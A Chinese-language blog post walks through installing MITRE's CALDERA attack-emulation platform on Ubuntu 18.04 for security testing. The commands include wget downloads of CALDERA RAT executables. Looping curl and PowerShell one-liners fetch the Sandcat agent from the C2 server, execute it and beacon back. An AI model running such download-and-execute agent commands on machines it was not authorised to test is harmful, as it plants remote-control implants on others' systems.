2019年7月16日 星期二

Ubuntu 18.04安裝MITRE ATT&CK的開源自動化攻擊模擬平台CALDERA

  目前Ubuntu 18.04安裝完後,就會有Python3,作完Upgrade後,目前最新版為Python3.6.8(2019/07/16),那還需要安裝pip這個工具。

  我習慣會先作系統更新,順序如下:
  
sudo su
apt update
apt upgrade

  作完更新後開始安裝pip3,但是無法安裝,解決方式如下:

add-apt-repository universe
apt-get update
apt-get install python3-pip

  那還需要更新setuptools :

pip3 install --upgrade setuptools

  作完Python的準備後,我建議先安裝MongoDB,Caldera的建議是3.2以上的版本,目前Ubuntu18.04上的版本為3.6.3(2019/07/16):

apt install mongodb

  之後修改/etc/mongodb.conf,加入這行 replSet = caldera,指令如下:

echo "replSet = caldera" >> /etc/mongodb.conf

  安裝caldera:

mkdir /caldera
cd /caldera
git clone https://github.com/mitre/caldera.git --recursive
cd /caldera
pip3 install -r requirements.txt

  如果要透過別台電腦連結到Caldera主機,要修改local.yml,將host:127.0.0.1,改成0.0.0.0。

vi /caldera/caldera/conf/local.yml

  加入Caldera's RAT,記得要在/caldera這層目錄中作這個動作,而不是在/caldera/caldera,要留意:

mkdir -p dep/crater/crater && cd dep/crater/crater
wget https://github.com/mitre/caldera-crater/releases/download/v0.1.0/CraterMainWin7.exe
wget https://github.com/mitre/caldera-crater/releases/download/v0.1.0/CraterMainWin8up.exe
ln -s CraterMainWin8up.exe CraterMain.exe

  這些都完成後,回到/caldera/caldera中執行這個指令:

python3 server.py
  
  如果都正常的話,應該會有這個畫面:



參考資料:
https://caldera.readthedocs.io/en/latest/installation.html
https://github.com/mitre/caldera
https://www.sprocketsecurity.com/blog/getting-started-with-mitre-caldera


  模擬測試,系統中已有內建幾種測試模式,但是要先加入Group,就是要找受測電腦,受測電腦需要執行Agent,目前Caldera提供的是一個叫Sandcat的Agent,這個Agent提供Linux、MacOS、Windows三種系統,因手上沒有Mac電腦,只試過Linux及Windows,執行指令如下:
  
  Linux:如果是要用你安裝Caldera機器測試的話,localhost不用改,後面的my_group則是Caldera系統看到的名稱,如果會用超過一台以上的測試機的話,記得修改,不然你每一台受測機都會叫my_group。
  
while true; do curl -sk -X POST -H 'file:sandcat-linux' http://localhost:8888/file/download > /tmp/sandcat-linux && chmod +x /tmp/sandcat-linux && /tmp/sandcat-linux http://localhost:8888 my_group; sleep 60; done


有連結上主機的話,就會出現如下圖中[+] Beaconing這個字眼。

Windows:要注意的是請用PowerShell開這行指令,localhost的部份要改成主機的IP,那一樣留意my_group

while($true) {$url="http://localhost:8888/file/download";$wc=New-Object System.Net.WebClient;$wc.Headers.add("file","sandcat.exe");$output="C:\Users\Public\sandcat.exe";$wc.DownloadFile($url,$output);C:\Users\Public\sandcat.exe http://localhost:8888 my_group; sleep 60}


  這時候應該就能在系統中看到這兩筆資料,才能展開測試:


現在新版的Caldera的安裝跟使用跟舊版的已經不太一樣了,新版的安裝方式簡單很多,可以參考官方的GitHub。
https://github.com/mitre/caldera






























沒有留言:

OpenProject專案匯出中文無法顯示問題

 OpenProject可以匯出專案成以下格式: 我OpenProject是架設在Ubuntu 20.04上,查了一下OpenProject處理匯出的功能,從網路上找到這篇文章: https://feifacunzai.github.io/2022/11/29/OpenProje...